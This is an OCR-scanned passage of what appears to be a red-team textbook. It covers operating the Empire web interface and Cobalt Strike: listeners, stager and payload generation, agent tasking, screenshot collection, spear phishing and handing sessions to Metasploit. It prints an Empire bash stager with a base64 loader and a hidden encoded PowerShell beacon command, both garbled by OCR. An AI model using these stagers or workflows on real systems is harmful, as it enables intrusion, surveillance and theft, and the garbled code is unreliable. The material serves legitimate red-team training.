You have not selected any "Listener Type" above. Select one to view options for it.

We can now go to Listeners and then Show All Listeners to see the list. We can
then find our newly started listener, test:



= C (@ localhost:979 D t e ¥ g o] [re7]

a Empire Web  f¥Dashboard & Listeners ¥ Stagers 4 Agents iE Modules |™ Credentials @ Reporting @ Browser

Listener Name: http
Listener Name: Empire
Listener Name: DeathStar

Listener Name: test

Confirm the listener from the Empire CLI:

(Enpire; ) » 11steners

Name Module Delay/Jitter  KillDote
test

Empire

http

Deathstar nttp

(Enpire:

To kill a listener, we can go to Listeners and then Kill Listener(s):



e C | @ localhost:9797/empire-web/dashboard.php

#Y Empire Web  fDashboard [EEIREEIEER

Show All Listeners

Powe rS Search Listener by Name Web

Create a Listener
Kill Listener(s)

3 listeners currently active

Empire Agents

A new page will be displayed, giving you the option to kill a listener. We can
choose the listener that we want to kill from the drop-down list:

- C | @ localhost:9797/empire-web/kill-listener.php

jgj Empire Web # Dashboard & Listeners ¥ Stagers 4 Agents = Modules |~ Credentials

Kill Listener(s)

--Choose Listener-- 4

We then need to click on the Kill Now button to kill the listener:



- C | @ localhost:9797/empire-web/kill-listener.php

#Y Empire Web  ftDashboard & Listeners ¥ Stagers & Agents == Modules

Kill Listener(s)
--Choose Listener-- & m

«" Listener killed successfully.

Once the listener is started, we can choose a stager. To show all the stagers, go to
Stagers and then Show All Stagers:

| “— C | @ localhost:9797/empire-web/show-all-stagers.php

#Y Empire Web  fDashboard & Listeners iE Modules |™ Credentials @ Reporting

Show All Stagers

i - = Search Stager by Name
9 @1) Generate Stager

osx/jar

osx/macho

windows/shellcode

windows/macroless_msword

You can find all the supported stagers for Empire here:



&« C | @ localhost:9797/empire-web/show-all-stagers.php T (o] ‘E o D

a Empire Web # Dashboard & Listeners W Stagers 4+ Agents i Modules |™ Credentials @ Reporting @ Browser
s C—
osx/jar

osx/macho

windows/shellcode

windows/macroless_msword

windows/bunny

osx/teensy

osx/ducky

windows/launcher_xml

osx/macro

multi/war

To generate a stager, we can go to Stagers and click on Generate Stager:

- C | @ localhost:9797/empire-web/show-all-stagers.php

:é: Empire Web  f¥Dashboard  + Listeners ¥ Stagers ~ [EEEE-N ) = Modules

Show All Stagers
Search Stager by Name

Generate Stager

osx/jar

osx/macho

The Generate Stager sub-menu will show the list of stagers that we can select.
We need to click on a particular stager to bring up the options available for that
stager:



= C | @ localhost:9797/empire

#Y Empire Web ¥ Dashboard t i Modules |™ Credentials < Reporting
multi/bash
multi/bash
Name multi/bash
Description Generates self-deleting Bash script to execute the Empire stage0 launcher.
Author @harmj0y
Comments
Stager Options:
Name Description Required Value
Language Language of the stager to generate. Yes python
Listener Listener to generate stager for. Yes hitp s
QOutFile File to output Bash script to, otherwise displayed on the screen. No
SafeChecks Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True. Yes True
UserAgent User-agent string to use for the staging request (default, none, or other). No defautt

Once the options are set, click on the Generate button to generate the stager.
The web interface will show a Stager Output message after generation:

&« C | @ localhost:9797/empire-web/generate-stager.php % g a®

e Empire Web  f¥Dashboard  +* Listeners W Stagers <+ Agents Modules |™ Credentials @ Reporting @ Browser

Name Description Required Value
Language Language of the stager to generate. Yes python
Listener Listener to generate stager for. Yes http
OutFile File to output Bash script to, otherwise displayed on the screen. No

SafeChecks Switch. Checks for LittieSnitch or a SandBox, exit the staging process if true. Defauits to True. Yes True
UserAgent User-agent string to use for the staging request (default, none, or other). No default

Click on the Decode button to get the one-liner command:



&« C | @ localhost:9797/empire-web/generate-stager.php o o] ‘m [ia7] D

#X Empire Web  ft Dashboard  &* Listeners » st |~ Credentials @ Reporting @ Browser

* Stager Output [

#1/bin/bash

echo "import sys,base64,warnings;warnings.filterwarnings( ignore');exec(base64.b64decode( ' aWlwb3JQIHNScztpbXBvcnQgemUsTHN1YnByb2ZNLc3M7Y
21kIDOgINBzIC11ZiBBIGAYZXAGTGLAGX1XCBTbmMl@YZggfCBnemVWIC121GdyZXA1CnBzID@gC3VicHIVYZVzcy5Qb3B1bihjbWQs IHNOZWXSPVRYdWUSITHNOZGI1dD1zdWIw
€m9jZXNzL1BIUEUpCmI1dCAITHB zLnNOZGA1dCSyZWFKKCkKcHMuC3Rkb 3VRLmNsb3NLKCKKaWY gcmUuc2VhemNoKC IMaXR@bGUgUZ 5pdGNoIiwgb3VeKToKICAge31 zLmv4aXQ
oKQppbXBvenQgdX1sbGliMjsKVUESI@1veml sbGEVNS4WIChXaWSkb3dz IESUIDYUMT sgV@3XNjQ7IFRyaNRLbnQuNy4wOyBydjoxMS4wkSBsaNt 1 IEdLY2tv]ztzZXI2ZX19]2
h@dHABLY 8yMDCuMTQ4L JEyNC4yMDo4MDgw] zt@PScvbmV3cySwaHAND3]1cT1 1emxsaWlyL 111cXV1c3QocZVydmVyK3QpOwpyZXEUYWRkXZhL YWRLcignVXNL1ci1BZ2VudCesV
UEpOwpyZXEUYWRKXZhLYWRLcignQZz9vazlllywicZVzcZlvbj15UXg3QUdmRUIhZTh4QUZMLZACSYNXMZ5Nbjg9I1k7CnByb3h51D@gdX 1sbGl iMisQcmIdeUnhbmRSZXIOKTSK
byA9IHVybGxpY jTuYnVpbGRfb3B1bmVyKHBYb3hSKTsKdX1sbGliMiSpbnN@YWxsXZ9wZW51cihvKTsKYT11cmxsaWIyLnVybGIwZN4ocmVxKSSyZWFkKCk7 Ck1WPWFbMDOBXT ¢
KYXRhPWFbNDpdO2t1eT1IVisnV194ZFFAaSZ8MySITS1tROFUazpYTDFeKzB2UHtCe j8n01MsaixvdXQIemFuZ2UoMjUZKSwwLFtdCmZvciBpIGLuIHIhbmd LKDIINik6CiAgIC
BqPShaK1Nbaverb3JkKGt1eVtpIwxlbihrZXkpXSkpITI1INGogICAGULtpXSXTW2pdPVNbal@sU1tpXQppPWodMAPmb3TgY2ZhhciBpbiBkYXRh0gogICAgaTBoaSsxKSUYNTYKI
CAQIGOIKGOrU1tpXSkIMjUZCiAQICBTWZLdLFNbal@AU1tqXSxTW21dCiAgICBvdXQuYXBWZWSKkKGNocihvemQoY2ZhheileUlsoUltpXStTW2pdKSUyNTZdKSkKZXh1YygnlySq
bZluKGI1dCkp*));" | Zusr/bin/python &

rm -f “$@"

exit

When the stager gets executed on the target server, we will get an active agent.
To list all the agents, we can go to Agents and then click on Show All Agents:

&« C | @ localhost:9797/empire-web/dashboard.php

g Empire Web  fyDashboard &+ Listeners ¥ Stagers 4 Agents ~ |~ Credentials < Reporting @ Browser

Show All Agents
PowerShell Empire W Sex foenttyvame

Show Stale Agents
Remove Stale Agents

Remove Agent

Agent - Run Shell Command

3 listeners currently active Show Agent Results

Delete Agent Results
Clear Queued Agent Tasking

Rename Agent

5 agents currently active Kill Agent(s)

View Screenshots

View Webcam Videos

To see information about the agent, click on the Agent Name:



&« C | ® localhost:8797/empire-web/show-all-agents.php % n B -] D i

BY Empire Web ~ #tDashboard L 4 Agents iE Modules |™ Credentials @ Reporting

Agent Name: P41R5V2K

Agent Option Agent Value

D 5

checkin_time 2018-09-08 15:01:06
children

delay 5

external_ip 182.68.128.28
functions

high_integrity 0

hostname WOZombiddx local
internal_ip 127.0.0.1

jitter 0

kil_date

language python

language_version 2.7
lastseen_time 2018-09-08 15:01:24

listener hitp

We can execute shell commands easily from the web interface. We just need to
go to Agents and then Agent Run Shell Command:

& C @ localhost:9797/empire-web/dashboard.php

:g: Empire Web  fyDashboard & Listeners ¥ Stagers i |™ Credentials ~ ® Reporting @ Browser

Show All Agents
PowerShell Empire W S faentoshane

Show Stale Agents
Remove Stale Agents

Remove Agent

Agent - Run Shell Command

3 listeners currently active Show Agent Results

Delete Agent Results
Clear Queued Agent Tasking

Rename Agent

5 agents currently active Kill Agent(s)

View Screenshots

View Webcam Videos

A new page will open with two options: Task Agent to Run a Shell Command
and Agent Output:



&« C | ® localhost:9797/empire-web/agent-shell-cmd.php

:g: Empire Web  fyDashboard & Listeners ¥ Stagers 4 Agents i= Modules |™ Credentials @ Reporting @ Browser

Task Agent to Run a Shell Command

--Choose Agent Name-- || Enter command

Agent Output

--Choose Agent Name-- + T

To execute a command, we first need to choose the agent from the drop-down
list and then enter the command. In this case, we have used the i« command:

= C | © localhost:9797/empire-web/agent-shell-cmd.php

PY Empire Web  frDashboard & Listeners ¥ Stagers € Agents i= Modules
< P

Task Agent to Run a Shell Command
P41R5V2K ¥ id

+" Shell command executed succeassfully.

Upon successful execution of the command, we will get a she11 command executed
successfully message but the output will not be shown. To view the output, we
need to select the same agent from the drop-down list where we executed our
command. This drop-down menu is just below the first drop-down menu:



Agent Qutput

e

v --Choose Agent Name--  Show Resuilt
DANMIFGR
9PRESWEC
GHZKAZ236
B1IR4AKNXG
PATRSVZK
All Agents

The output will be displayed once the Show Result button is clicked:

Agent Output

P41R5V2ZK

‘
&

[2] P41RSVZK > id

uid=5@3(Harry) gid=20(staff) groups=2@(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),88(admin),81(_appserveradm),
98(_lpadmin),33(_appstore), 188(_lpoperator), 2084 (_developer),258(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screenshari
ng),1@1(com.apple.access_ssh-disabled)

. .Command execution completed.

[1] P41RSVZK > whoami &R id
Harry
. .Command execution completed.

We can now execute post modules on the agent. To bring up the module page, go
to Modules and click on Show All Modules. This will list all the modules that
are available:



“ C | @ localhost:9797/empire-web/dashboard.php w| n o]

:g: Empire Web # Dashboard < Listeners W Stagers 4 Agents i= Modules ~ |™ Credentials ® Reporting Q Browser

Show All Modules
PowerShell Empire Web i

Execute Module

3 listeners currently active

5 agents currently active

You will see the following list:

L C | @ localhost:9797/empire-web/show-all-modules.php 1r o ;va@ 7 M

g Empire Web  ftDashboard  &* Listeners ¥ Stagers [™ Credentials @ Reporting Q Browser

Show All Modules (285)
exfiltration/Invoke_ExfilDataToGitHub
external/generate_agent Usa Module
powershell/code_execution/invoke_dllinjection Usa Module
powershell/code_execution/invoke_metasploitpayload Use Module
powershell/code_execution/invoke_ntsd Use Module
powershell/code_execution/invoke_reflectivepeinjection
powershell/code_execution/invoke_shellcode Use Module

To execute a module, go to Modules and click on Execute Module:



- C | ® localhost:9797/empire-web/dashboard.php +r o) {h@

g Empire Web  ftDashboard  #* Listeners W Stagers 4 Agents EJIGLICERA ™ Credentials <@ Reporting

Show All Modules
PowerShell Empire Web e

Execute Module

3 listeners currently active

5 agents currently active

A new page will open with a drop-down list, from which we can choose the
module we want to execute:

&« C | @ localhost:9797/empire-web/execute-module.php

j@j Empire Web  ftDashboard  # Listeners ¥ Stagers 4 Agents iZ Modules |~ Credentials  ® Reporting @ Browser

Q, Execute Module

v --Choose Module-- Choose

exfiltration/invoke_ExfilDataToGitHub
external/generate_agent
powershell/code_execution/invoke_dllinjection
powershell/code_execution/invoke_metasploitpayload
powershell/code_execution/invoke_ntsd
powershell/code_execution/invoke_reflectivepeinjection
powershell/code_execution/invoke_shellcode
powershell/code_execution/invoke_shellcodemsil
powershell/collection/ChromeDump
powershell/collection/FoxDump
powershell/collection/USBKeylogger
powershell/collection/WebcamRecorder
powershell/collection/browser_data
powershell/collection/clipboard_monitor
powershellfcollection/file_finder
powershell/collection/find_interesting_file
powershell/collection/get_indexed_item
powershell/collection/get_sal_column_sample_data
powershell/collection/get_sal_query

In this case, we will choose the screenshot; Python module:



- C | ® localhost:9797/empire-web/execute-module.php

jﬁj Empire Web  fyDashboard  # Listeners ¥ Stagers < Agents iE Modules |~ Credentials < Reporting @ Browser

Q Execute Module

python/collection/osx/screenshot =

Agent Output BT T

Clicking the Choose button will bring up the module options:

&« C | @ localhost:9797/empire-web/execute-module.php?module_name=python%2Fcollection%2Fosx%2Fscreenshot 5 ¥ g

j@j Empire Web  ftDashboard & Listeners ¥ Stagers - Agents = Modules | Credentials @ Reporting @ Browser

--Choose Module-- ]
Meodule Name: python/collection/osx/screenshot
Execute Module
Author @harmjoy
Background No
Comments
Description Takes a screenshot of an OSX desktop using screencapture and returns the data.
Language python
MinLanguageVersion 2.6
Name python/collection/osx/screenshot
NeedsAdmin No

We need to choose the agent on which we want to run this module. The agent
can be selected from the drop-down list of agents:



Module Options:

Name Description Required Value

Agent Agent to execute module on. Yes v SANMIFGR
SPRESWEC |
GHZKA236 |
B1R4KNXE

PA41R5VZK

All Agents

SavePath Path of the temporary screenshot file to save. Yes

Once the options are set, we can click the Execute Module button to execute the
post module. The agent will be tasked with the chosen module:

Q, Execute Module
--Choose Module-- =

«" Tasked agent P41R5V2K to run module python/collection/osx/screenshot

The module that we chose for post exploitation would take a screenshot of the
user's desktop and then save and download it. We can view the saved screenshots
from Agents | View Screenshots:

&« C | ® localhost:9797/empire-web/dashboard.php

:g: Empire Web #& Dashboard & Listeners W Stagers 4 Agents ~ i |™ Credentials ® Reporting @ Browser

Show All Agents
PowerShell Empire W e oentortane

Show Stale Agents
Remove Stale Agents
Remove Agent

Agent - Run Shell Command

Show Agent Results

3 listeners currently active

Delete Agent Results
Clear Queued Agent Tasking

Rename Agent

5 agents currently active Kill Agent(s)

View Screenshots
View Webcam Videos

Clicking on View Screenshots will bring us to another page, from which we can
select the agent from a drop-down list. To view the result, click the Show
Screenshots button:



< C | ® localhost:3797/empire-web/show-agent-screenshots.php

ﬁgﬁ Empire Web # Dashboard  +* Listeners ¥ Stagers <+ Agents = Modules |~ Credentials

Retrieves results for the agent specifed by Agent Name.

--Choose Agent Name-- %

As we can see in the following screenshot, a screenshot of the user's desktop was
saved:

&« C | @ localhost:9797/empire-web/show-agent-screenshots.php r

p) Empire Web  fyDashboard & Listeners W Stagers 4 Agents iZ Modules |™ Credentials @ Reporting @ Browser

Show Agent Screenshots.

Retrieves results for the agent specifed by Agent Name.

--Choose Agent Name-- & TR T

xXxZombi3xXx.local_2018-09-08_15-06-04.png

@ Chrome File Edit View History Bookmarks People Window Help BB X T & £ T 0xE SaB36PM Hary Q @ 1=
® 0 ® () caus-Emor x | () GiHub - byrse x | 8] (0 Q) x Cptiesus|Blo X © = empirewebgr X | () GtHub-iMert X [Y Empire: Exec.t [:]
&€  C Q@ locahoste797/empire a.php * at @@
¥) EmpiraWeb it Dashboard = Listeners
Q Execute Module
—— | crecw |

o Tasked agent P41RSV2K to run module python/collection/osx/screenshot

Agent Ouout [T

The Browser menu shows the /var/ww/htm1/ directory, where we can deploy the
web interface:



L = C | @ localhost:9797/empire-web/browser.php T

#Y Empire Web  fyDashboard = Listeners ¥ Stagers 4 Agents i= Modules | Credentials @ Reporting

File System Browser

.git
css
fonts
img
= includes
is
less
styles
@
@
@

about.php

administration.php

agent-shell-cmd.php

“ agent-shell-submit-cmd.php
app.json

@ base.php

@ browser.php

@ clear-agent-task-queue.php

composer.json

@ configuration.php

@ create-listener.php

@ credentials.php

@ dashboard.php

@ delete-agent-results.php

@ execute-module.php

@ canerate-ctacer nhn

The web interface makes it very easy to use Empire. There is also another GUI
tool called Empire-GUI, which was officially released by the Empire tool's
creators, and which can be found in the empireproject GitHub repository. This tool
has been described by its creators as follows:

"The Empire Multiuser GUI is a graphical interface to the Empire post-exploitation Framework. It was
written in Electron and utilizes websockets (SocketlO) on the backend to support multiuser interaction. The
main goal of this project is to enable red teams, or any other colour team, to work together on engagements
in a more seamless and integrated way than using Empire as a command line tool."

The only problem with using Empire-GUTI is that it only works with Empire
version 3.0, which is currently in a beta testing phase.



Summary

In this chapter, we have covered some more advanced uses of the Empire tool to
get access to the Domain Controller. We have also done this using an automated
Python script called DeathStar. We then covered Empire's use through a GUI
web interface. In the next chapter, we will cover the basics of C2 and the
different architectures that can be used to set up the red team infrastructure.



Questions

ok W

. Are there any other exploitation techniques to get access into Domain

Controller?

What if bypassuac_eventvwr module doesn't work? How can we escalate the
privileges without this module?

Will DeathStar always be able to retrieve the Domain Admin's credentials?
Is there a workaround if the mimikatz module doesn't work?

Is it necessary to have access to domain user account for domain controller
enumeration?



Further reading

Automating the Empire with the Death Star: nttps://byt3b133d3r.github.io/automa
ting-the-empire-with-the-death-star-getting-domain-admin-with-a-push-of-a-button.html


https://byt3bl33d3r.github.io/automating-the-empire-with-the-death-star-getting-domain-admin-with-a-push-of-a-button.html

Cobalt Strike - Red Team Operations

In chapter 4, Getting Started with Cobalt Strike, we learned about Cobalt Strike
and how to set it up. We also learned about its interface and its different features.
In this chapter, we will go into more detail about this tool and learn about how it
is used. We will cover the following topics:

Cobalt Strike listener
Cobalt Strike payloads
Beacons

Pivoting with Cobalt Strike
Aggressor scripts



Technical requirements

Metasploit Framework (MSF)
PGSQL (Postgres)

Oracle Java 1.7 or latest

Cobalt Strike



Cobalt Strike listeners

First, start the Cobalt Strike team server and connect to it. Once we have the
interface up and running, we will start a listener. A listener is a handler that
handles all the incoming connections. To do this, go to the Cobalt Strike menu
and choose Listeners, as shown in the following image:

' Cobalt Strike | View

New Connection !
Preferences
Visualization b
VPN Interfaces
Script Manager

Close

This will open a new window where we create a name for this listener. Next, we
have to choose the payload. Cobalt Strike has two kinds of listeners:

e Beacon: Beacon-based listeners will listen or connect to the connections
coming from the beacon payload. We will learn more about this in the later

part of this chapter.
¢ Foreign: Foreign listeners are basically used to pass sessions to another
instance of Cobalt Strike or even to Metasploit or Armitage.

In the new window that opens, we choose a name for our listener. We then
choose the type of payload, which in this case will be windows/beacon_nttps. Next,
we enter the host name and port number and click Save:



{2 & Mew Listener

Create a listener.

MName:

Payload: |windows/beacon_https/reverse_https ~

Host: 192.168.2.6

Port: 443

| sae |

As we have a beacon payload, we will get another alert box asking us to provide
the domain name and IP address of the system on which our team server is
running. We enter this information and click OK, as shown in the following
image. We can put the IP of our redirector as well. This will be covered in the
coming chapters:

< Input
This beacon uses HTTP to check for taskings. Please provide the
" domains to use for beaconing. The A record for these domains
must point to your Cobalt Strike system. An IP address is OK.
Separate each host or domain with a comma.

We will then see that our newly created listener is up and running:



_RevHtpsBeacon_

Windows/beacon_https/reverse_https

192.168.27

443

192.168.2.7




Foreign-based listeners

This listener is used to pass a session to multiple cobalt strike instances or even
to Metasploit/Armitage. Let's take a quick look at how this is done. We must
already have at least one compromised host so that we can pass its session
somewhere else. In the following example, we already have a connected host on
Cobalt Strike via the beacon payload:

Cobalt Strike View Attacks Reporting Help
08 O BE=¢ BLPU B0 /a G

external internal = user computer note

<70 192.168.0.96 192.168.0.96 dfx

As we can see, we already have a connected beacon. We now want to pass the
session to Metasploit for further exploitation. We will start Metasploit/Armitage
and run a handler, as shown in the following screenshot:

msf exploit( ) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit( ) = set lport 8081

lport => 8881

msf exploit( ) > run -j

Once the handler is running, we go to our Cobalt Strike window and create a
new foreign listener with the IP and port on which the handler is running;:



o & Mew Listener

Create a listener.

Name: MSF ]

Payload: |windows/foreign/reverse_http - |

Host:  |192.168.0.50 ]

Port:  |8081 ]

| save |

Once we click Save, we will see a new listener has now been created, as shown
in the following screenshot:

i T

Event Log X Listeners X

name payload host + port beacons
MSF windows/foreign/ reverse_http 192.168.0.50 8081
st windows/beacon_http/reverse_http 192.168.0.50 8080 192.168.0.50

To pass a session, we right-click on the host and select Spawn, as shown in the
following screenshot:



external internal = user computer

«7r  192.168.0.96 192.168.0.96 1 DFX-PC
Interact

Access
Explore +
Pivoting *

Session ¢

A new window will open to show a list of the currently running listeners. We can
either choose from these or create a new one. In this case, we will choose the
listener MSF and click the Choose button:

000 Choose a listener

name payload host port

test windows/beacon_http/reverse_http 192.168.0.50 8080

MSF windowsjforeign/reverse_http 192.168.0.50 8081
‘ Choose H Add H Help ‘

We will see a new Meterpreter session open up in our Metasploit window:

msf exploit( ) = http://192.168.0.50:8081 handling request from
192.168.0.96; (UUID: bwaludim) Staging xB6 payload (180825 bytes) ...

Meterpreter session 1 opened (192.168.@.50:8081 -> 192.168.0.96:55584) at 20
18-09-19 @4:00:26 +8530




Cobalt Strike payloads

Cobalt Strike supports a lot of different types of attacks and allows you to
generate payloads easily from the menu. This is a very useful feature when
performing a red team activity because it means you don't have to spend time
switching between tools to create different payloads for different attack types,
such as spear phishing or drive-bys. In this section, we will look at some of the
attack types that are provided by Cobalt Strike and how to generate a payload
with them.

To view the different types of payloads that we can generate from Cobalt Strike,
click on Attacks from the menu, as shown in the following screenshot:

View Attacks Reporting Help

L {{receses — Tirmatcoton LM K

Web Drive-by * | Ms Office Macro _ user
Spear Phish Payload Generator
USB/CD AutoPlay

Windows Dropper
Windows Executable
Windows Executable (5)

Cobalt Strike supports payload generation for three types of attack vectors:
Packages, Web Drive-Bys, and Spear Phishing. Each of these are explained in
more detail below Packages:

e HTML Application: This generates an HTML application with either an
EXE,VBA, or PowerShell-based payload. The output generated nta file
needs to be opened on the Internet Explorer of the Victim's system.

e MS Office Macro: This option generates a VBA macro, which we can
embed in MS Office. This is very useful as red team attacks often involve



exploiting the human element to gain access to the internal networks of the
corporation.

e Payload Generator: This will only generate a payload in the desired format
and save it to a file. We need to execute the payload on a system manually.

e USB/CD AutoPlay: This package generates an autorun.inf that abuses the
AutoPlay feature on Windows. It only runs on Windows XP and Vista
systems.

e Windows Dropper: This package creates a Windows document dropper. It
drops a document to disk, opens it, and executes a payload. We need to
specify the document into which the payload will be embedded.

e Windows Executable: This is used to create an EXE or DLL-based payload
which again needs to be deployed manually.

e Windows Executable(s): This generates a stageless beacon in EXE, DLL, or
PowerShell format.

Web Drive-by:
It Strike  View 5ttack5|ﬁepuﬂhg Help

30 Eiradages PLUBeBE Lo BH
external ﬂanage | user

Spear Phish Clone Site

Scripted Web Delivery
Signed Applet Attack
Smart Applet Attack
System Profiler

Web Drive-by has the following options:

e Manage: Here, we can view and manage the currently deployed drive-by
payloads.

e Clone Site: This can be used to clone a site. We can choose to add a payload
manually to it later or Cobalt Strike can automatically log keystrokes on it.

e Host File: Using this option, Cobalt Strike can host a file by creating a web



server for us.

e Scripted Web Delivery: This attack generates a payload and gives us a one-
liner command to execute code on a system using PowerShell, BITSAdmin,
Python, and so on.

e Signed Applet Attack: This package sets up a self-signed Java applet. This
package will spawn the specified listener if the user gives the applet
permission to run.

e Smart Applet Attack: The smart applet detects the Java version and uses an
embedded exploit to disable the Java security sandbox. This attack is cross-
platform and cross-browser.

o System Profiler: The system profiler is a client-side reconnaissance tool. It
finds common applications (with version numbers) used by the user and
reports them back to us.

Spear Phishing:

e This option can be used to launch targeted attacks while carrying out a red
team activity. We can set the receivers, phishing templates, and SMTP
servers and click Send to perform the attack:

& [ ] Spear Phish

To To_Name

Targets: I

Template: [

| Attachment: l

Embed URL: |

LEEEIE

: Mail Server: l

i [
H i
i [
o

Bounce To: |!

| Preview || Send || Help |




Let's look at an example of payload generation and execution. We will use the
Payload Generator. Go to Attack, click on Packages, and then click on Payload
Generator, as shown in the following screenshot:

HTML Application [P ol | B W

Web Drive-by * | M5 Office Macro user
Spear Phish Payload Generator
USE/CD AutoPlay

Windows Dropper
Windows Executable
Windows Executable (S)

After this, a new window will open. Here, we need to choose the listener we
wish to receive our connection on and the output format of the payload. We will
choose PowerShell Command and click Generate:



@O ® Payload Generator

This dialog generates a payload to stage a Cobalt Strike
listener. Several output options are available.

Listener: |test = | Add |
Output:  [C -
xb64: < =
C#
COM Scriptlet
Java e
.F'erl r
PowerShell
oA E [ [
Python =

A new window will open asking us to choose the output folder and the payload
will be generated and copied into a .txt file:

host port

-- | 443

8080

Saved PowerShell Command to
{Users/Himanshu/Desktop/payload. bt

oK il

If we open the .txt file, we will see a base64 encoded PowerShell Command, as
shown in the following screenshot:



00 payload it - .

powershell.exe -nop -w hidden -encodedcommand

JABZADBATQB LAHCALOBPAGIAaqB LAGMAAAQAE KATWAUAEAZQBtAGBACoBSAFMAGABYAGUAYQBACQALABDAEMAbWBUARYAZOBYAHQAXQABADOARBYAGE
Ab(BCAGEACwB LADYANABTAHQAcoBpAG4AZwAOACTASAARAHNASOBBAEEAQQBBAEEAQQBBAEEAQUBMADEAWAB LADIAL wBhAHKAQBIACBATWAZAHCASWERAR
QAWABKAHQAaWBVAEEAQQA4AGAAUWBTAHAARDAZAE TAZWBAADI AZOBRAF YAaq BRADOASWBAGEAUABBAE BAWgBWAE sAeABoADKA cABOAEQAdAAZADAGQATA
(BAWQBtAEQAYqB LAHAASABIAHOAZAA2AFYACqB5AGOASGARADUACAB3AHo ANQAVAHoATwAwAHoAY gBtAFYAeqBhAFAAGOBNAGY ANWBEAE CASABWAHKACwBN
AFTAVABGAGCADWEWAFEAJ0BGAHKARABZAH0AOBYAF EACqBMAF oAU(BMAREAeQBUADAAZ(BM AHEA ZABMAGSANQAS AHOA QA4 ADMARQBAE BAZ QB JAFUAS OB
SAGoADQBOAHAA&qA4AEwARgBDAEUANOB3AGSASY BUAEWATABZAHcAZOBBADQANQBTAGKADWE 8AFMADQBWAEUAUBZAHAAU gBFAFcATARYADQASHBGAHgARW
BXADAAGWBZAHc AeABWACSARABDAEUADBXACBAGWBZAFKATAA1AGRASWBCAF KANABLAF gATwB3ADIAYqBSAF kAQOBF AGRANAArAF AAQwBoAGRAVQBRAF TAR
AB2AG4AABIADKAVABCAEGATOBRAHGARABWAGEAVOADAE YAGABSAHAAY QAvAFMAZABJADAAaBAEQAVB  AFAADOBHAFAAUWA ZADKASWBSADQAKWBSAEQA
bOBWAEwAUWBIAEBAQBRAHQAT gA2AGEAMqBFAFEAQWBGAEYANQAXAGBAT(B LAFQAQwAWAGBAMgBSAHQASBAEMATAAVAD gANQB LAHMARBxACSAMABSAGE
AbgASAEBAWQBFADAAVqBAFQANWBFAEQATQB ] AGwAQgBDAGWAcwBAHAAOQBVADKATQBMAE0ANAB | AE4AVQBIAFEAKwASAFMASQBXAHMAEABVAHYAVABVAG
wAHQBXADUAY(B; AFQAUABRAET AcABuARaALwBxAEwAAQB zAEYADWBSAHQARQ B | AFoASqBGAEUACQAVAE4Aaq BHAF YAZQR LAFTAUQBaAEWARQE AEMAVWBUA
EEAROBVAEYAWgBMAFoAbgBoAGwAagAxAGoANQBUAEoATQBLAEMAMQBLAE g ANBWADUAC g BRAEEANABDAFQAawBKAHMARABQAG4ATWBHAE KAY g BHADAAZABL
ADQA(BHADQAMQBJAFUAaABVAG4Aa BNAFY AdwBBAGWAZWBIACHADgBIAE 4ANWBLAHAAS gB3AH0AQWBNAGEAUgBaAD kALgBpAD cACgAZADMANgBOAD CAUAB
YAEQAdwBVAE 0ANgBzAHYATABUACSATABBADEAVOAAEwAMBKAE TATABYAHCAcoB2AETASQBWAEMAR BQAHMALIQABADQAZ B 1AF KARAAAEWASWB3AESARg
BAAGYAegBIAEKADQBCAFAAYWBXAEKAEABTAFQAagBADUAVOBXAFTAYQBrAHYADABIAEMAYWBSAFEAZBAAGUAVABt A 0ARQBxAHCAdQBWAEQADOB XAHUAG
qBsAGKAaWBNADkANWABAGBARQBMARYAeABTAGS AbgB1AGyA.QBUAHEAT(BGAGoAMWBYAGHAUWBUAESAWABFAGIAUQBVAFARWBSACs AegBzAD cAVABRADgA
ZABsAFEAa(BOAEMAVOBVAKT AdwA2ADgAaABAAD AL gBVAE0AYwE LAHMALQB3AGBAQABAHAAKWECAFUAWABUAE BAYQBY AGwARWB ] AEEAVgBJADYAawBRAD
ARQBvAGBACQB) AEgAMqBEAFUARQBIAECALGBVADAAVABUAEWAQQBUAGEAQQE |AEQAZgB LAGYAVwBaACHACWBBAF(AagByACSARgBHAGKASOBTADEASQATAF
YATWBUAHAAUQB rAGMAMgB3AGoAdWBNAE TANABQAEYAYgBGAHMANQBNAGKAWgBUAEEASqArAGBACABEAFEANGBUAD IAOQBOAKYAUQBTAFEAMWBLAFKAegBaA
(:8AagBSAEsAUQBF ADUANGBSAGMADQBHAGSARWBKAF UADABFAEEANQB rACBAdwBAE0ASgBAAGWAUWAVAGRASAB 1AHY AMoBFAGMAG(BMAE TADOBKACBARQBM
AGQAUQBYAEKATQAYAHYAYgBYAEKAQWATAGWASABDAEMAZGB A sARWBDAG I AMqBCAGAA CHBFADAABABTAFYADWBAAF EADABDAEBACWBIAGAALWBNAC4ARgB
(AFTAWABNAF cAbABDAFMAawBUAGBAQwAWAGWAY gABAF TATwBAAGSAMBKAGADABGAF T AwB JAGWAVAA4AHoAOWB CAF TALWB6AGIAbQBaAH IAQwBoAEBAQY
BEAFUAVwB | AFUAQwBLAFAAUQBGAGYAYWwBoAF QASWBVAHMAMWAZAECATOB rACBANAAZAGEA CAAWAF EANQBaAGSAVWBLADEALQBAGSATQAZAFYARgBBAE4Aa
(BVADAYQBMAGsAawBvAGKATABHAGKALQBYAF gAMABUAGUAdgAXAFQAdgATADUATAAWAGS ANOA3AE4AQwBPAGUAZOBHAEWAS gBVAG4ATWBZAE gADgBRAF oA
TOBSAHUABQBsAG4AZOBEADTATwA1AGCAWgBKAETARQBYAHMAQoB rAF TAQuAzAF EAWQABADUAdAA2ADIAagBKAEMANAAVAGBAGABQAEMALIQBXAEUATQArADK
ARWBKAE kAKwBzZAHAANQBKAF oAdQA3AEUAMqBAAGUAdgBRADTAbWB T ACEALWAYAEBALABSAGWAUAA ZAF gATABRAGEAQABRAGAagBRAEUAQBaAERA ZgB2AH
YATOBZAEEAZQBDAKYAUWBNAE s Ae(BaAGBATABzAGoARqB 1AE@AQQBVAEWAT oAz ADEAOBYAE cAcqBaAHYAKWBCAE0AQDBIADKAdq BAAD CAbWB2AGS AKWBRA

Once we execute this code, we will receive a connection on our server, as shown
in the following screenshot:



Eventlog X | Listeners X | Listeners X

89/16 16:34:20 heo
09/16 18:28:41 himanshu
09/16 18:30:23 # 1nitial beacon from PT@192.168.2.14 (PT-PC)




Beacons

Beacons is a payload used by Cobalt Strike. It is flexible and supports both
asynchronous and interactive modes of communication.The asynchronous mode
can be quite slow. In this mode, the beacon calls home every once in a while,
